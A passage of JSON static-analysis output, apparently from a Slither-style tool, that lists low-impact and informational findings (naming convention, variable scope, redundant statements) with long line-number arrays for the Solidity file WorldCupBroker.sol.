1254, 1255, 1256, 1257, 1258, 1259, 1260]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [960, 961, 962, 963, 964, 959]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"WorldCupBroker.sol": [2344, 2345, 2346, 2343]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"WorldCupBroker.sol": [2347]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"WorldCupBroker.sol": [2348]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"WorldCupBroker.sol": [2347]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505, 1506, 1507, 1508, 1509, 1510, 1511, 1512, 1513, 1514, 1515, 1516, 1517, 1518, 1519, 1520, 1521, 1522, 1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530, 1531, 1532, 1533, 1534, 1535, 1536, 1537, 1538, 1539, 1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1573, 1574, 1575, 1576, 1577, 1578, 1579, 1580, 1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589, 1590, 1591, 1592, 1593, 1594, 1595, 1596, 1597, 1598, 1599, 1600, 1601, 1602, 1603, 1604, 1605, 1606, 1607, 1608, 1609, 1610, 1611, 1612, 1613, 1614, 1615, 1616, 1617, 1618, 1619, 1620, 1621, 1622, 1623, 1624, 1625, 1626, 1627, 1628, 1629, 1630, 1631, 1632, 1633, 1634, 1635, 1636, 1637, 1638, 1639, 1640, 1641, 1642, 1643, 1644, 1645, 1646, 1647, 1648, 1649, 1650, 1651, 1652, 1653, 1654, 1655, 1656, 1657, 1658, 1659, 1660, 1661, 1662, 1663, 1664, 1665, 1666, 1667, 1668, 1669, 1670, 1671, 1672, 1673, 1674, 1675, 1676, 1677, 1678, 1679, 1680, 1681, 1682, 1683, 1684, 1685, 1686, 1687, 1688, 1689, 1690, 1691, 1692, 1693, 1694, 1695, 1696, 1697, 1698, 1699, 1700, 1701, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712, 1713, 1714, 1715, 1716, 1717, 1718, 1719, 1720, 1721, 1722, 1723, 1724, 1725, 1726, 1727, 1728, 1729, 1730, 1731, 1732, 1733, 1734, 1735, 1736, 1737, 1738, 1739, 1740, 1741, 1742, 1743, 1744, 1745, 1746, 1747, 1748, 1749, 1750, 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765, 1766, 1767, 1768, 1769, 1770, 1771, 1772, 1773, 1774, 1775, 1776, 1777, 1778, 1779, 1780, 1781, 1782, 1783, 1784, 1785, 1786, 1787, 1788, 1789, 1790, 1791, 1792, 1793, 1794, 1795, 1796, 1797, 1798, 1799, 1800, 1801, 1802, 1803, 1804, 1805, 1806, 1807, 1808, 1809, 1810, 1811]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505, 1506, 1507, 1508, 1509, 1510, 1511, 1512, 1513, 1514, 1515, 1516, 1517, 1518, 1519, 1520, 1521, 1522, 1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530, 1531, 1532, 1533, 1534, 1535, 1536, 1537, 1538, 1539, 1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1573, 1574, 1575, 1576, 1577, 1578, 1579, 1580, 1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589, 1590, 1591, 1592, 1593, 1594, 1595, 1596, 1597, 1598, 1599, 1600, 1601, 1602, 1603, 1604, 1605, 1606, 1607, 1608, 1609, 1610, 1611, 1612, 1613, 1614, 1615, 1616, 1617, 1618, 1619, 1620, 1621, 1622, 1623, 1624, 1625, 1626, 1627, 1628, 1629, 1630, 1631, 1632, 1633, 1634, 1635, 1636, 1637, 1638, 1639, 1640, 1641, 1642, 1643, 1644, 1645, 1646, 1647, 1648, 1649, 1650, 1651, 1652, 1653, 1654, 1655, 1656, 1657, 1658, 1659, 1660, 1661, 1662, 1663, 1664, 1665, 1666, 1667, 1668, 1669, 1670, 1671, 1672, 1673, 1674, 1675, 1676, 1677, 1678, 1679, 1680, 1681, 1682, 1683, 1684, 1685, 1686, 1687, 1688, 1689, 1690, 1691, 1692, 1693, 1694, 1695, 1696, 1697, 1698, 1699, 1700, 1701, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712, 1713, 1714, 1715, 1716, 1717, 1718, 1719, 1720, 1721, 1722, 1723, 1724, 1725, 1726, 1727, 1728, 1729, 1730, 1731, 1732, 1733, 1734, 1735, 1736, 1737, 1738, 1739, 1740, 1741, 1742, 1743, 1744, 1745, 1746, 1747, 1748, 1749, 1750, 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765, 1766, 1767, 1768, 1769, 1770, 1771, 1772, 1773, 1774, 1775, 1776, 1777, 1778, 1779, 1780, 1781, 1782, 1783, 1784, 1785, 1786, 1787, 1788, 1789, 1790, 1791, 1792, 1793, 1794, 1795, 1796, 1797, 1798, 1799, 1800, 1801, 1802, 1803, 1804, 1805, 1806, 1807, 1808, 1809, 1810, 1811]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505, 1506, 1507, 1508, 1509, 1510, 1511, 1512, 1513, 1514, 1515, 1516, 1517, 1518, 1519, 1520, 1521, 1522, 1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530, 1531, 1532, 1533, 1534, 1535, 1536, 1537, 1538, 1539, 1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1573, 1574, 1575, 1576, 1577, 1578, 1579, 1580, 1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589, 1590, 1591, 1592, 1593, 1594, 1595, 1596, 1597, 1598, 1599, 1600, 1601, 1602, 1603, 1604, 1605, 1606, 1607, 1608, 1609, 1610, 1611, 1612, 1613, 1614, 1615, 1616, 1617, 1618, 1619, 1620, 1621, 1622, 1623, 1624, 1625, 1626, 1627, 1628, 1629, 1630, 1631, 1632, 1633, 1634, 1635, 1636, 1637, 1638, 1639, 1640, 1641, 1642, 1643, 1644, 1645, 1646, 1647, 1648, 1649, 1650, 1651, 1652, 1653, 1654, 1655, 1656, 1657, 1658, 1659, 1660, 1661, 1662, 1663, 1664, 1665, 1666, 1667, 1668, 1669, 1670, 1671, 1672, 1673, 1674, 1675, 1676, 1677, 1678, 1679, 1680, 1681, 1682, 1683, 1684, 1685, 1686, 1687, 1688, 1689, 1690, 1691, 1692, 1693, 1694, 1695, 1696, 1697, 1698, 1699, 1700, 1701, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712, 1713, 1714, 1715, 1716, 1717, 1718, 1719, 1720, 1721, 1722, 1723, 1724, 1725, 1726, 1727, 1728, 1729, 1730, 1731, 1732, 1733, 1734, 1735, 1736, 1737, 1738, 1739, 1740, 1741, 1742, 1743, 1744, 1745, 1746, 1747, 1748, 1749, 1750, 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765, 1766, 1767, 1768, 1769, 1770, 1771, 1772, 1773, 1774, 1775, 1776, 1777, 1778, 1779, 1780, 1781, 1782, 1783, 1784, 1785, 1786, 1787, 1788, 1789, 1790, 1791, 1792, 1793, 1794, 1795, 1796, 1797, 1798, 1799, 1800, 1801, 1802, 1803, 1804, 1805, 1806, 1807, 1808, 1809, 1810, 1811]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 1293, 1294, 1295, 1296, 1297, 1298, 1299, 1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318, 1319, 1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363, 1364, 1365, 1366, 1367, 1368, 1369, 1370, 1371, 1372, 1373, 1374, 1375, 1376, 1377, 1378, 1379, 1380, 1381, 1382, 1383, 1384, 1385, 1386, 1387, 1388, 1389, 1390, 1391, 1392, 1393, 1394, 1395, 1396, 1397, 1398, 1399, 1400, 1401, 1402, 1403, 1404, 1405, 1406, 1407, 1408, 1409, 1410, 1411, 1412, 1413, 1414, 1415, 1416, 1417, 1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433, 1434, 1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475, 1476, 1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505, 1506, 1507, 1508, 1509, 1510, 1511, 1512, 1513, 1514, 1515, 1516, 1517, 1518, 1519, 1520, 1521, 1522, 1523, 1524, 1525, 1526, 1527, 1528, 1529, 1530, 1531, 1532, 1533, 1534, 1535, 1536, 1537, 1538, 1539, 1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1573, 1574, 1575, 1576, 1577, 1578, 1579, 1580, 1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589, 1590, 1591, 1592, 1593, 1594, 1595, 1596, 1597, 1598, 1599, 1600, 1601, 1602, 1603, 1604, 1605, 1606, 1607, 1608, 1609, 1610, 1611, 1612, 1613, 1614, 1615, 1616, 1617, 1618, 1619, 1620, 1621, 1622, 1623, 1624, 1625, 1626, 1627, 1628, 1629, 1630, 1631, 1632, 1633, 1634, 1635, 1636, 1637, 1638, 